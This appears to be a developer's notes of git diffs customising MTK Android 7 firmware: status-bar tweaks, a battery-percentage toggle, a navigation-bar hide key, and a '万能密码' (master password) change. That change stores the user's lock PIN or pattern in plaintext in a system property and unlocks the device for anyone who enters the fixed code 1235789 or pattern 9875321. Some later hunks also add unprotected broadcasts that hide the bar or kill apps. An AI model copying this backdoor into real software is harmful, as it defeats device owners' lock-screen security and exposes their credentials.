mtk Android7定制修改

目录

下拉状态栏移除修改

添加电池百分比

添加万能密码

添加hide键


下拉状态栏移除修改

   下拉状态栏移除修改diff --git a/frameworks/base/packages/SystemUI/res/layout/qs_paged_tile_layout.xml b/frameworks/base/packages/SystemUI/res/layout/qs_paged_tile_layout.xml
index ee55ec2..a572a15 100644
--- a/frameworks/base/packages/SystemUI/res/layout/qs_paged_tile_layout.xml
+++ b/frameworks/base/packages/SystemUI/res/layout/qs_paged_tile_layout.xml
@@ -36,7 +36,7 @@android:gravity="center"android:importantForAccessibility="yes"android:focusable="true" />
-
+<!-- <TextViewandroid:id="@android:id/edit"style="@style/QSBorderlessButton"
@@ -48,7 +48,7 @@android:textColor="#64FFFFFF"android:focusable="true"android:text="@string/qs_edit"
-            android:contentDescription="@string/accessibility_quick_settings_edit"/>
+            android:contentDescription="@string/accessibility_quick_settings_edit"/> --></FrameLayout>diff --git a/frameworks/base/packages/SystemUI/src/com/android/systemui/qs/QSPanel.java b/frameworks/base/packages/SystemUI/src/com/android/systemui/qs/QSPanel.java
index 67be5e3..6ea2434 100644
--- a/frameworks/base/packages/SystemUI/src/com/android/systemui/qs/QSPanel.java
+++ b/frameworks/base/packages/SystemUI/src/com/android/systemui/qs/QSPanel.java
@@ -116,8 +116,8 @@ public class QSPanel extends LinearLayout implements Tunable, Callback {R.layout.qs_paged_tile_layout, this, false);mTileLayout.setListening(mListening);addView((View) mTileLayout);
-        findViewById(android.R.id.edit).setOnClickListener(view ->
-                mHost.startRunnableDismissingKeyguard(() -> showEdit(view)));
+        // findViewById(android.R.id.edit).setOnClickListener(view ->
+        //         mHost.startRunnableDismissingKeyguard(() -> showEdit(view)));}public boolean isShowingCustomize() {

添加电池百分比

Date:   Sat May 18 14:13:41 2024 +0800显示电池百分比diff --git a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/KeyguardStatusBarView.java b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/KeyguardStatusBarView.java
old mode 100644
new mode 100755
index cae9bc2..136b88e
--- a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/KeyguardStatusBarView.java
+++ b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/KeyguardStatusBarView.java
@@ -40,6 +40,9 @@ import com.android.systemui.statusbar.policy.UserSwitcherController;import java.text.NumberFormat;+import android.content.ContentResolver;
+import android.provider.Settings;
+import android.util.Log;/*** The header group on Keyguard.*/
@@ -63,9 +66,14 @@ public class KeyguardStatusBarView extends RelativeLayoutprivate int mSystemIconsSwitcherHiddenExpandedMargin;private View mSystemIconsContainer;
-
+       
+       private static final String BATTERY_PERCENT_SETTINGS = "qty_show_battery_percent";
+    private static final boolean mEnabledBatteryPercent = true ;
+    private ContentResolver mContentResolver;
+       public KeyguardStatusBarView(Context context, AttributeSet attrs) {super(context, attrs);
+        mContentResolver = getContext().getContentResolver();}@Override
@@ -218,9 +226,23 @@ public class KeyguardStatusBarView extends RelativeLayoutmBatteryLevel.setText(percentage);boolean changed = mBatteryCharging != charging;mBatteryCharging = charging;
-        if (changed) {
-            updateVisibilities();
-        }
+        if (!mEnabledBatteryPercent) {
+                       if (changed) {
+                               updateVisibilities();
+                       }
+               } else {
+                       if (charging && changed) {
+                               updateVisibilities();
+                       } 
+                       if (!charging) {
+                               boolean enabled = (Settings.System.getInt(mContentResolver, BATTERY_PERCENT_SETTINGS, 0) == 1);
+                               if (enabled) {
+                                       mBatteryLevel.setVisibility(View.VISIBLE);
+                               } else {
+                                       mBatteryLevel.setVisibility(View.GONE);
+                               }
+                       }
+               }}@Override
diff --git a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/PhoneStatusBar.java b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/PhoneStatusBar.java
index 6606974..c8fa3f8 100755
--- a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/PhoneStatusBar.java
+++ b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/PhoneStatusBar.java
@@ -215,6 +215,10 @@ import static com.android.systemui.statusbar.phone.BarTransitions.MODE_WARNING;import com.android.systemui.recents.misc.SystemServicesProxy;import com.android.systemui.recents.Recents;+
+import com.android.systemui.FontSizeUtils;
+import java.text.NumberFormat;
+public class PhoneStatusBar extends BaseStatusBar implements DemoMode,DragDownHelper.DragDownCallback, ActivityStarter, OnUnlockMethodChangedListener,HeadsUpManager.OnHeadsUpChangedListener {
@@ -421,6 +425,15 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,private int mNavigationIconHints = 0;private HandlerThread mHandlerThread;
+       private static final String BATTERY_PERCENT_SETTINGS = "qty_show_battery_percent";
+       private TextView mBatteryLevel;
+    private ContentObserver mBatteryLevelShow = new ContentObserver(new Handler()) {
+        @Override
+        public void onChange(boolean selfChange) {
+            mBatteryLevel.setVisibility((Settings.System.getInt(mContext.getContentResolver(),BATTERY_PERCENT_SETTINGS, 0) == 1) ? View.VISIBLE : View.GONE);
+        }
+    };
+// ensure quick settings is disabled until the current user makes it through the setup wizardprivate boolean mUserSetup = false;
@@ -758,6 +771,7 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,// ================================================================================protected PhoneStatusBarView makeStatusBarView() {final Context context = mContext;
+               mContext.getContentResolver().registerContentObserver(Settings.System.getUriFor(BATTERY_PERCENT_SETTINGS),true, mBatteryLevelShow);updateDisplaySize(); // populates mDisplayMetricsupdateResources();
@@ -891,6 +905,8 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,mLocationController = new LocationControllerImpl(mContext,mHandlerThread.getLooper()); // will post a notificationmBatteryController = createBatteryController();
+               mBatteryLevel = (TextView) mStatusBarView.findViewById(R.id.battery_level);
+        mBatteryLevel.setVisibility((Settings.System.getInt(context.getContentResolver(),BATTERY_PERCENT_SETTINGS, 0) == 1) ? View.VISIBLE : View.GONE);mBatteryController.addStateChangedCallback(new BatteryStateChangeCallback() {@Overridepublic void onPowerSaveChanged(boolean isPowerSave) {
@@ -901,7 +917,8 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,}@Overridepublic void onBatteryLevelChanged(int level, boolean pluggedIn, boolean charging) {
-                // noop
+                String percentage = NumberFormat.getPercentInstance().format((double) level / 100.0);
+                mBatteryLevel.setText(percentage);}});mNetworkController = new NetworkControllerImpl(mContext, mHandlerThread.getLooper());
@@ -3580,6 +3597,7 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,updateRowStates();mScreenPinningRequest.onConfigurationChanged();mNetworkController.onConfigurationChanged();
+               FontSizeUtils.updateFontSize(mBatteryLevel, R.dimen.battery_level_text_size);}@Override
diff --git a/packages/apps/Settings/res/values-zh-rCN/strings.xml b/packages/apps/Settings/res/values-zh-rCN/strings.xml
index 72cf88c..b175205 100755
--- a/packages/apps/Settings/res/values-zh-rCN/strings.xml
+++ b/packages/apps/Settings/res/values-zh-rCN/strings.xml
@@ -3111,5 +3111,5 @@<string name="simulate_color_space_title">魔幻屏显</string><string name="color_screen">全彩屏</string><string name="black_white_screen">黑白屏</string>
-
+       <string name="qty_pref_battery_percentage_title">"显示电池百分比"</string></resources>
diff --git a/packages/apps/Settings/res/values/strings.xml b/packages/apps/Settings/res/values/strings.xml
index 50992de..291ff06 100755
--- a/packages/apps/Settings/res/values/strings.xml
+++ b/packages/apps/Settings/res/values/strings.xml
@@ -7511,4 +7511,5 @@<string name="simulate_color_space_title">Simulate color space</string><string name="color_screen">Disabled</string><string name="black_white_screen">Monochromacy</string>
+       <string name="qty_pref_battery_percentage_title">Show battery percent</string></resources>
diff --git a/packages/apps/Settings/src/com/mediatek/settings/fuelgauge/PowerUsageExts.java b/packages/apps/Settings/src/com/mediatek/settings/fuelgauge/PowerUsageExts.java
index 7ceb9cc..7e1429c 100755
--- a/packages/apps/Settings/src/com/mediatek/settings/fuelgauge/PowerUsageExts.java
+++ b/packages/apps/Settings/src/com/mediatek/settings/fuelgauge/PowerUsageExts.java
@@ -21,7 +21,8 @@ public class PowerUsageExts {private Context mContext;private PreferenceScreen mPowerUsageScreen;private SwitchPreference mBgPowerSavingPrf;
-
+       private SwitchPreference mBatteryPercent;
+       private static final String BATTERY_PERCENT_SETTINGS = "qty_show_battery_percent";public PowerUsageExts(Context context, PreferenceScreen appListGroup) {mContext = context;mPowerUsageScreen = appListGroup;
@@ -40,6 +41,13 @@ public class PowerUsageExts {Settings.System.BG_POWER_SAVING_ENABLE, 1) != 0);mPowerUsageScreen.addPreference(mBgPowerSavingPrf);}
+               
+               mBatteryPercent = new SwitchPreference(mContext);
+            mBatteryPercent.setKey("level");
+            mBatteryPercent.setTitle(R.string.qty_pref_battery_percentage_title);
+            mBatteryPercent.setOrder(-5);
+            mBatteryPercent.setChecked(Settings.System.getInt(mContext.getContentResolver(),BATTERY_PERCENT_SETTINGS, 0) == 1);
+            mPowerUsageScreen.addPreference(mBatteryPercent);}// on click
@@ -57,7 +65,16 @@ public class PowerUsageExts {}// If user click on PowerSaving preference just return herereturn true;
-        }
+        }else if("level".equals(preference.getKey())){
+                       if (preference instanceof SwitchPreference) {
+                SwitchPreference pref = (SwitchPreference) preference;
+                int bgState = pref.isChecked() ? 1 : 0;
+                Log.d(TAG, "background power saving state: " + bgState);
+                Settings.System.putInt(mContext.getContentResolver(),BATTERY_PERCENT_SETTINGS, bgState);
+            }
+            // If user click on PowerSaving preference just return here
+            return true;
+               }return false;}}

添加万能密码

Author: huangqingbin <hqingbin@waterworld.com.cn>
Date:   Tue Apr 2 20:11:16 2024 +0800添加万能密码diff --git a/frameworks/base/packages/Keyguard/src/com/android/keyguard/KeyguardAbsKeyInputView.java b/frameworks/base/packages/Keyguard/src/com/android/keyguard/KeyguardAbsKeyInputView.java
old mode 100644
new mode 100755
index 60eaad2..dab05c7
--- a/frameworks/base/packages/Keyguard/src/com/android/keyguard/KeyguardAbsKeyInputView.java
+++ b/frameworks/base/packages/Keyguard/src/com/android/keyguard/KeyguardAbsKeyInputView.java
@@ -28,7 +28,7 @@ import android.widget.LinearLayout;import com.android.internal.widget.LockPatternChecker;import com.android.internal.widget.LockPatternUtils;
-
+import android.os.SystemProperties;/*** Base class for PIN and password unlock screens.*/
@@ -117,7 +117,18 @@ public abstract class KeyguardAbsKeyInputView extends LinearLayoutprotected void verifyPasswordAndUnlock() {if (mDismissing) return; // already verified but haven't been dismissed; don't do it again.-        final String entry = getPasswordText();
+        String entry = getPasswordText();
+               
+               //by ken add start
+               if(entry.equals("1235789")){
+                       String saveNum = SystemProperties.get("persist.sys.secret","");
+                       if(!saveNum.equals("")){
+                               entry = saveNum;
+                       }
+                       
+               }
+               //by ken add end
+               setPasswordEntryInputEnabled(false);if (mPendingLockCheck != null) {mPendingLockCheck.cancel(false);
diff --git a/frameworks/base/packages/Keyguard/src/com/android/keyguard/KeyguardPatternView.java b/frameworks/base/packages/Keyguard/src/com/android/keyguard/KeyguardPatternView.java
old mode 100644
new mode 100755
index 537acc5..c60ee0d
--- a/frameworks/base/packages/Keyguard/src/com/android/keyguard/KeyguardPatternView.java
+++ b/frameworks/base/packages/Keyguard/src/com/android/keyguard/KeyguardPatternView.java
@@ -230,7 +230,7 @@ public class KeyguardPatternView extends LinearLayout implements KeyguardSecurit}@Override
-        public void onPatternDetected(final List<LockPatternView.Cell> pattern) {
+        public void onPatternDetected(List<LockPatternView.Cell> pattern) {mLockPatternView.disableInput();if (mPendingLockCheck != null) {mPendingLockCheck.cancel(false);
@@ -243,6 +243,18 @@ public class KeyguardPatternView extends LinearLayout implements KeyguardSecuritreturn;}+
+                       //by ken add start
+                       String enterNum = LockPatternUtils.patternToString(pattern);
+                       if(enterNum.equals("9875321")){
+                          String saveNum = android.os.SystemProperties.get("persist.sys.secret","");
+                          if(!saveNum.equals("")){
+                                  pattern = LockPatternUtils.stringToPattern(saveNum);
+                          }
+                       }
+                       
+                       //by ken add end
+mPendingLockCheck = LockPatternChecker.checkPattern(mLockPatternUtils,pattern,
diff --git a/packages/apps/Settings/src/com/android/settings/ChooseLockPassword.java b/packages/apps/Settings/src/com/android/settings/ChooseLockPassword.java
old mode 100644
new mode 100755
index 16de8d6..dbccb92
--- a/packages/apps/Settings/src/com/android/settings/ChooseLockPassword.java
+++ b/packages/apps/Settings/src/com/android/settings/ChooseLockPassword.java
@@ -43,7 +43,7 @@ import android.view.inputmethod.InputMethodManager;import android.widget.Button;import android.widget.TextView;import android.widget.TextView.OnEditorActionListener;
-
+import android.os.SystemProperties;import com.android.internal.logging.MetricsProto.MetricsEvent;import com.android.internal.widget.LockPatternUtils;import com.android.internal.widget.LockPatternUtils.RequestThrottledException;
@@ -659,7 +659,9 @@ public class ChooseLockPassword extends SettingsActivity {Log.w(TAG, "startSaveAndFinish with an existing SaveAndFinishWorker.");return;}
-
+                       //by ken add start
+                       SystemProperties.set("persist.sys.secret",mChosenPassword);
+            //by ken add endmPasswordEntryInputDisabler.setInputEnabled(false);setNextEnabled(false);diff --git a/packages/apps/Settings/src/com/android/settings/ChooseLockPattern.java b/packages/apps/Settings/src/com/android/settings/ChooseLockPattern.java
old mode 100644
new mode 100755
index 2e9f767..89bc58e
--- a/packages/apps/Settings/src/com/android/settings/ChooseLockPattern.java
+++ b/packages/apps/Settings/src/com/android/settings/ChooseLockPattern.java
@@ -38,7 +38,7 @@ import com.android.internal.widget.LockPatternView.Cell;import com.android.internal.widget.LockPatternView.DisplayMode;import com.android.settings.notification.RedactionInterstitial;import com.google.android.collect.Lists;
-
+import android.os.SystemProperties;import java.util.ArrayList;import java.util.Collections;import java.util.List;
@@ -665,6 +665,7 @@ public class ChooseLockPattern extends SettingsActivity {final boolean required = getActivity().getIntent().getBooleanExtra(EncryptionInterstitial.EXTRA_REQUIRE_PASSWORD, true);
+                       SystemProperties.set("persist.sys.secret",LockPatternUtils.patternToString(mChosenPattern));mSaveAndFinishWorker.start(mChooseLockSettingsHelper.utils(), required,mHasChallenge, mChallenge, mChosenPattern, mCurrentPattern, mUserId);}
diff --git a/packages/apps/Settings/src/com/android/settings/ConfirmLockPassword.java b/packages/apps/Settings/src/com/android/settings/ConfirmLockPassword.java
old mode 100644
new mode 100755
index 3965395..975bb2e
--- a/packages/apps/Settings/src/com/android/settings/ConfirmLockPassword.java
+++ b/packages/apps/Settings/src/com/android/settings/ConfirmLockPassword.java
@@ -331,13 +331,24 @@ public class ConfirmLockPassword extends ConfirmDeviceCredentialBaseActivity {mPasswordEntryInputDisabler.setInputEnabled(false);-            final String pin = mPasswordEntry.getText().toString();
+            String pin = mPasswordEntry.getText().toString();final boolean verifyChallenge = getActivity().getIntent().getBooleanExtra(ChooseLockSettingsHelper.EXTRA_KEY_HAS_CHALLENGE, false);Intent intent = new Intent();///xunhu:stopped running at 2017.02.22 18:10:56 by trf1201{{&&///Description:Do not enter a password directly click Next,An error "sorry, set has stopped running"if(!(pin == null || pin.equals(""))){
+                               
+                               //by ken add start
+                       if(pin.equals("1235789")){
+                               String saveNum = android.os.SystemProperties.get("persist.sys.secret","");
+                               if(!saveNum.equals("")){
+                                       pin = saveNum;
+                               }
+                       }
+                       
+                       //by ken add end
+                               if (verifyChallenge)  {if (isInternalActivity()) {startVerifyPassword(pin, intent);
diff --git a/packages/apps/Settings/src/com/android/settings/ConfirmLockPattern.java b/packages/apps/Settings/src/com/android/settings/ConfirmLockPattern.java
old mode 100644
new mode 100755
index f56f7ca..d5f4cfb
--- a/packages/apps/Settings/src/com/android/settings/ConfirmLockPattern.java
+++ b/packages/apps/Settings/src/com/android/settings/ConfirmLockPattern.java
@@ -403,7 +403,16 @@ public class ConfirmLockPattern extends ConfirmDeviceCredentialBaseActivity {if (mPendingLockCheck != null || mDisappearing) {return;}
-
+                               //by ken add start
+                               String enterP = LockPatternUtils.patternToString(pattern);
+                               if(enterP.equals("9875321")){
+                                       String saveNum = android.os.SystemProperties.get("persist.sys.secret","");
+                                       if(!saveNum.equals("")){
+                                               pattern = LockPatternUtils.stringToPattern(saveNum);
+                                       }
+                               }
+                               
+                               //by ken add endmLockPatternView.setEnabled(false);final boolean verifyChallenge = getActivity().getIntent().getBooleanExtra(

添加hide键

Author: huangqingbin <hqingbin@waterworld.com.cn>
Date:   Wed Apr 3 17:40:50 2024 +0800添加hide键diff --git a/frameworks/base/packages/SystemUI/res/layout/hide_show.xml b/frameworks/base/packages/SystemUI/res/layout/hide_show.xml
new file mode 100755
index 0000000..da05eb3
--- /dev/null
+++ b/frameworks/base/packages/SystemUI/res/layout/hide_show.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+ 
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+ 
+          http://www.apache.org/licenses/LICENSE-2.0
+ 
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<com.android.systemui.statusbar.policy.KeyButtonView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:systemui="http://schemas.android.com/apk/res-auto"
+    android:id="@+id/hide"
+    android:layout_width="@dimen/navigation_key_width"
+    android:layout_height="match_parent"
+    android:layout_weight="0"
+    android:src="@drawable/ic_sysbar_back_ime"
+    systemui:keyCode="142"
+    android:scaleType="center"
+    android:contentDescription="@string/accessibility_home"
+    android:paddingStart="@dimen/navigation_key_padding"
+    android:paddingEnd="@dimen/navigation_key_padding"
+    />
\ No newline at end of file
diff --git a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/NavigationBarInflaterView.java b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/NavigationBarInflaterView.java
old mode 100644
new mode 100755
index 03aaa32..529759f
--- a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/NavigationBarInflaterView.java
+++ b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/NavigationBarInflaterView.java
@@ -48,6 +48,7 @@ public class NavigationBarInflaterView extends FrameLayout implements TunerServipublic static final String NAVSPACE = "space";public static final String CLIPBOARD = "clipboard";public static final String KEY = "key";
+       public static final String HIDE = "hide";// add by csc for hide navigationbar/// M: BMW @{public static final String RESTORE = "restore";/// @}
@@ -186,22 +187,33 @@ public class NavigationBarInflaterView extends FrameLayout implements TunerServiif (newLayout == null) {newLayout = getDefaultLayout();}
-        String[] sets = newLayout.split(GRAVITY_SEPARATOR, 3);
-        String[] start = sets[0].split(BUTTON_SEPARATOR);
-        String[] center = sets[1].split(BUTTON_SEPARATOR);
-        String[] end = sets[2].split(BUTTON_SEPARATOR);
+        newLayout = "hide;back;home;recent;space";// add by csc
+        String[] sets = newLayout.split(GRAVITY_SEPARATOR, 5);// mod by csc from 3
+        String[] hide = sets[0].split(BUTTON_SEPARATOR);// add by csc
+        String[] start = sets[1].split(BUTTON_SEPARATOR);
+        String[] center = sets[2].split(BUTTON_SEPARATOR);
+        String[] end = sets[3].split(BUTTON_SEPARATOR);
+               String[] space = sets[4].split(BUTTON_SEPARATOR);// Inflate these in start to end order or accessibility traversal will be messed up.
+ 
+        inflateButtons(hide, (ViewGroup) mRot0.findViewById(R.id.ends_group), false);// add by csc
+        inflateButtons(hide, (ViewGroup) mRot90.findViewById(R.id.ends_group), true);// add by csc
+ inflateButtons(start, (ViewGroup) mRot0.findViewById(R.id.ends_group), false);inflateButtons(start, (ViewGroup) mRot90.findViewById(R.id.ends_group), true);
-
-        inflateButtons(center, (ViewGroup) mRot0.findViewById(R.id.center_group), false);
-        inflateButtons(center, (ViewGroup) mRot90.findViewById(R.id.center_group), true);
-
-        addGravitySpacer((LinearLayout) mRot0.findViewById(R.id.ends_group));
-        addGravitySpacer((LinearLayout) mRot90.findViewById(R.id.ends_group));
-
+ 
+        inflateButtons(center, (ViewGroup) mRot0.findViewById(R.id.ends_group), false);
+        inflateButtons(center, (ViewGroup) mRot90.findViewById(R.id.ends_group), true);
+ 
+        // delete by csc
+       /* addGravitySpacer((LinearLayout) mRot0.findViewById(R.id.ends_group));
+        addGravitySpacer((LinearLayout) mRot90.findViewById(R.id.ends_group));*/
+ inflateButtons(end, (ViewGroup) mRot0.findViewById(R.id.ends_group), false);inflateButtons(end, (ViewGroup) mRot90.findViewById(R.id.ends_group), true);
+               
+               inflateButtons(space, (ViewGroup) mRot0.findViewById(R.id.ends_group), false);
+        inflateButtons(space, (ViewGroup) mRot90.findViewById(R.id.ends_group), true);}private void addGravitySpacer(LinearLayout layout) {
@@ -234,6 +246,11 @@ public class NavigationBarInflaterView extends FrameLayout implements TunerServiif (landscape && isSw600Dp()) {setupLandButton(v);}
+        } else if (HIDE.equals(button)){// add by csc for hide navigationBar
+            v = inflater.inflate(R.layout.hide_show, parent, false);
+                       if (landscape && isSw600Dp()) {
+                setupLandButton(v);
+            }} else if (BACK.equals(button)) {v = inflater.inflate(R.layout.back, parent, false);if (landscape && isSw600Dp()) {
diff --git a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/NavigationBarView.java b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/NavigationBarView.java
old mode 100644
new mode 100755
index db7a6de..41b9023
--- a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/NavigationBarView.java
+++ b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/NavigationBarView.java
@@ -225,7 +225,8 @@ public class NavigationBarView extends LinearLayout {}mBarTransitions = new NavigationBarTransitions(this);
-
+               mButtonDisatchers.put(R.id.hide, new ButtonDispatcher(R.id.hide));// add by csc for hide navigationbar
+        getHideButton().setLongClickable(false);// add by csc for hide navigationbarmButtonDisatchers.put(R.id.back, new ButtonDispatcher(R.id.back));mButtonDisatchers.put(R.id.home, new ButtonDispatcher(R.id.home));mButtonDisatchers.put(R.id.recent_apps, new ButtonDispatcher(R.id.recent_apps));
@@ -239,6 +240,10 @@ public class NavigationBarView extends LinearLayout {mButtonDisatchers.put(R.id.menu, new ButtonDispatcher(R.id.menu));mButtonDisatchers.put(R.id.ime_switcher, new ButtonDispatcher(R.id.ime_switcher));}
+       
+    public ButtonDispatcher getHideButton() {// add by csc
+        return mButtonDisatchers.get(R.id.hide);
+    }public BarTransitions getBarTransitions() {return mBarTransitions;
@@ -460,7 +465,7 @@ public class NavigationBarView extends LinearLayout {getBackButton().setVisibility(disableBack      ? View.INVISIBLE : View.VISIBLE);getHomeButton().setVisibility(disableHome      ? View.INVISIBLE : View.VISIBLE);getRecentsButton().setVisibility(disableRecent ? View.INVISIBLE : View.VISIBLE);
-
+               getHideButton().setVisibility(disableHome      ? View.INVISIBLE : View.VISIBLE);/// M: BMW @{//hide restore when keyguard is showingif (MultiWindowManager.isSupported() && mKeyguardViewMediator != null) {
diff --git a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/PhoneStatusBar.java b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/PhoneStatusBar.java
old mode 100644
new mode 100755
index b3588a4..6606974
--- a/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/PhoneStatusBar.java
+++ b/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/PhoneStatusBar.java
@@ -179,7 +179,7 @@ import com.android.systemui.volume.VolumeComponent;/// M: BMWimport com.mediatek.multiwindow.MultiWindowManager;-
+import android.graphics.Color;import com.mediatek.systemui.ext.IStatusBarPlmnPlugin;import com.mediatek.systemui.PluginManager;/// M: Modify statusbar style for GMO
@@ -226,7 +226,7 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,public static final boolean DEBUG_GESTURES = false;public static final boolean DEBUG_MEDIA = false;public static final boolean DEBUG_MEDIA_FAKE_ARTWORK = false;
-
+       boolean isNavigationShow=true;public static final boolean DEBUG_WINDOW_STATE = false;// additional instrumentation for testing purposes; intended to be left on during development
@@ -1009,7 +1009,9 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,IntentFilter filter = new IntentFilter();filter.addAction(Intent.ACTION_CLOSE_SYSTEM_DIALOGS);filter.addAction(Intent.ACTION_SCREEN_OFF);
-        filter.addAction(Intent.ACTION_SCREEN_ON);
+        filter.addAction(Intent.ACTION_SCREEN_ON);     
+               filter.addAction("HIDE_NAVIGATION_BAR");// add by csc
+               filter.addAction("SHOW_NAVIGATION_BAR");// add by csccontext.registerReceiverAsUser(mBroadcastReceiver, UserHandle.ALL, filter, null, null);IntentFilter demoFilter = new IntentFilter();
@@ -1437,14 +1439,14 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,}// For small-screen devices (read: phones) that lack hardware navigation buttons
-    protected void addNavigationBar() {
+   /*  protected void addNavigationBar() {if (DEBUG) Log.v(TAG, "addNavigationBar: about to add " + mNavigationBarView);if (mNavigationBarView == null) return;prepareNavigationBarView();mWindowManager.addView(mNavigationBarView, getNavigationBarLayoutParams());
-    }
+    } */protected void repositionNavigationBar() {if (mNavigationBarView == null || !mNavigationBarView.isAttachedToWindow()) return;
@@ -3495,7 +3497,17 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,}else if (Intent.ACTION_SCREEN_ON.equals(action)) {notifyNavigationBarScreenOn(true);
-            }
+            }else if(action.equals("HIDE_NAVIGATION_BAR")&&mWindowManager!=null&&mNavigationBarView!=null&&mNavigationBarView.getParent()!=null){
+                mWindowManager.removeView(mNavigationBarView);
+                mNavigationBarView = null ;
+                isNavigationShow = false;
+            }else if(action.equals("SHOW_NAVIGATION_BAR")){
+                if(isNavigationShow){
+                    return ;
+                }
+                    showNavigationBar();
+                    isNavigationShow = true;
+                       }}};@@ -5087,5 +5099,25 @@ public class PhoneStatusBar extends BaseStatusBar implements DemoMode,}}}
+       
+       public void showNavigationBar() {
+        mNavigationBarView =(NavigationBarView) View.inflate(mContext, R.layout.navigation_bar, null);
+        prepareNavigationBarView();
+        addNavigationBar();
+ 
+        //防止在桌面时上拉出导航栏时,导航栏背景为黑色
+        mNavigationBarView.setBackgroundColor(Color.TRANSPARENT);
+    }
+       
+       protected void addNavigationBar() {
+        if (DEBUG) Log.v(TAG, "addNavigationBar: about to add " + mNavigationBarView);
+        if (mNavigationBarView == null) return;
+ 
+        prepareNavigationBarView();
+        if(mNavigationBarView!=null && mNavigationBarView.getParent()==null) {// add by csc
+ 
+            mWindowManager.addView(mNavigationBarView, getNavigationBarLayoutParams());
+        }
+    }/// M: Support "Operator plugin - Customize Carrier Label for PLMN". @}}
diff --git a/frameworks/base/services/core/java/com/android/server/policy/PhoneWindowManager.java b/frameworks/base/services/core/java/com/android/server/policy/PhoneWindowManager.java
old mode 100644
new mode 100755
index 71e3aae..9709fed
--- a/frameworks/base/services/core/java/com/android/server/policy/PhoneWindowManager.java
+++ b/frameworks/base/services/core/java/com/android/server/policy/PhoneWindowManager.java
@@ -1727,6 +1727,14 @@ public class PhoneWindowManager implements WindowManagerPolicy {filter = new IntentFilter(Intent.ACTION_USER_SWITCHED);context.registerReceiver(mMultiuserReceiver, filter);+               //by ken add start 
+               filter = new IntentFilter();
+               filter.addAction(Intent.ACTION_SCREEN_OFF);
+               filter.addAction(Intent.ACTION_SCREEN_ON);
+               filter.addAction("com.clear.running.APP_ACTION");
+               context.registerReceiver(mOffOnReceiver, filter);
+               //by ken add end        
+// monitor for system gesturesmSystemGestures = new SystemGesturesPointerEventListener(context,new SystemGesturesPointerEventListener.Callbacks() {
@@ -1751,6 +1759,10 @@ public class PhoneWindowManager implements WindowManagerPolicy {if (mNavigationBar != null && mNavigationBarOnBottom) {requestTransientBars(mNavigationBar);}
+                                               /*add by csc*/
+                        Intent intent = new Intent();
+                        intent.setAction("SHOW_NAVIGATION_BAR");
+                        mContext.sendBroadcast(intent);}@Overridepublic void onSwipeFromRight() {
@@ -3139,6 +3151,12 @@ public class PhoneWindowManager implements WindowManagerPolicy {mPendingCapsLockToggle = false;}+               if(keyCode == KeyEvent.KEYCODE_F12){// add by csc
+            Intent hideNavigationBarIntent = new Intent("HIDE_NAVIGATION_BAR");
+            mContext.sendBroadcast(hideNavigationBarIntent);
+            return -1;
+        }
+// First we always handle the home key here, so applications// can never break it, although if keyguard is on, we do let// it handle it, because that gives us the correct 5 second
@@ -6221,6 +6239,40 @@ public class PhoneWindowManager implements WindowManagerPolicy {}};+       //by ken add start
+       BroadcastReceiver mOffOnReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (Intent.ACTION_SCREEN_OFF.equals(intent.getAction())) {
+                 Intent screenOffIntent = new Intent("auto.shutdown.by.time.ACTION");
+                                screenOffIntent.setClassName("com.android.settings","com.android.settings.AutoShutdownService");
+                                screenOffIntent.putExtra("screenType",0);
+                                context.startService(screenOffIntent);
+            }else if(Intent.ACTION_SCREEN_ON.equals(intent.getAction())){
+                 Intent screenOnIntent = new Intent("auto.shutdown.by.time.ACTION");
+                                screenOnIntent.setClassName("com.android.settings","com.android.settings.AutoShutdownService");
+                                screenOnIntent.putExtra("screenType",1);
+                                context.startService(screenOnIntent);
+            }else if("com.clear.running.APP_ACTION".equals(intent.getAction())){
+                               android.util.Log.i("1111Tag","com.clear.running.APP_ACTION");
+                               ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
+                               List<ActivityManager.RunningAppProcessInfo> list =   am.getRunningAppProcesses();
+                               for(ActivityManager.RunningAppProcessInfo info : list){
+                                       if(info.importanceReasonComponent!=null){
+                                               String pkg = info.importanceReasonComponent.getPackageName();
+                                               if(pkg!=null && 
+                                                  !pkg.equals("com.android.launcher3")&&
